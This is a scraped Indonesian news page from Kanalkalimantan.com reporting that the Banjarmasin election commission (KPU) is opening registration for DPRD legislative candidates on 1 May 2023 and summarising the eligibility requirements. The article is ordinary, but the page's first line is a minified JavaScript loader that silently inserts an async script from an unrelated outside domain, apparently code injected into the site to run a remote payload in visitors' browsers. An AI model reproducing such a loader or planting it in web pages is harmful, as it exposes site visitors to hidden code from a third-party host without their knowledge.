(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

KPU Banjarmasin Buka Pendaftaran Bacaleg Mulai 1 Mei


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemilihan Umum (KPU) Kota Banjarmasin sosialisasi syarat pencalonan anggota Dewan Perwakilan Rakyat Daerah (DPRD) untuk Pemilu serentak tahun 2024.

Penyampaian syarat pendaftaran bakal calon legislatif digelar Jumat (28/4/2023) pagi, di Hotel Rattan Inn Banjarmasin, diikuti sejumlah perwakilan Partai Politik (Parpol) Se Kota Banjarmasin, Disdukcapil Banjarmasin, serta sejumlah pimpinan Forkopimda Kota Banjarmasin.

Disampaikan Ketua KPU Banjarmasin Rahmiati Wardah, pihaknya akan membuka pendaftaran bakal calon DPRD Kota Banjarmasin selama 14 hari dari tanggal 1 Mei 2023.

“Penerimaan dimulai Senin ini 1 Mei 2023 dan berakhir tanggal 14 Mei 2023, atau selama dua minggu,” katanya.

Baca juga: 315 Putra Putri Banjarbaru Ikuti Rikmin Awal Penerimaan Polri 2023

Rahmiati menjelaskan untuk persyaratan bakal calon legislatif (Bacaleg) berpedoman dengan Peraturan KPU Nomor 10 Tahun 2023 tentang Pencalonan Anggota DPR, DPRD Provinsi, dan DPRD Kabupaten/Kota.

Dalam PKPU tersebut menurutnya tidak ada perbedaan yang signifikan dengan persyaratan Bacaleg pada Pemilu 2019 sebelumnya.

“Syarat-syaratnya sama saja dengan Pemilu sebelumnya, namun kalau sekarang ada menggunakan aplikasi Silon,” ungkapnya.

Salah satu kelebihan aplikasi Sistem Informasi Pencalonan (Silon) sendiri menurutnya bisa langsung terkoneksi dengan KPU Pusat.

Disampaikan, setiap Parpol harus menyediakan seorang admin yang akan memegang aplikasi Silon tersebut untuk pencalonan anggota DPRD dari partai yang bersangkutan.

Baca juga: Dinas PUPR Kalsel Buka Warung Gratis dan Bagikan BBM di Haul Ke-217 Datu Kelampayan

Sementara itu, beberapa syarat bakal calon sesuai Pasal 7 ayat (2) huruf b, berumur paling rendah 21 tahun, pendidikan minimal SMA/Sederajat, anggota parpol dan dicalonkan oleh parpol.

Kemudian tidak pernah dipidana penjara 5 tahun atau lebih dengan melampirkan surat keterangan dari Pengadilan Negeri (PN) setempat bakal calon.

Untuk mantan terpidana, minimal telah melewati jangka waktu 5 tahun setelah selesai menjalani penjara, tidak merangkap jabatan sebagai pejabat negara, dan sebagainya sesuai Pasal 7. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

3 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

4 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

4 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

4 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

4 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

4 jam ago

This website uses cookies.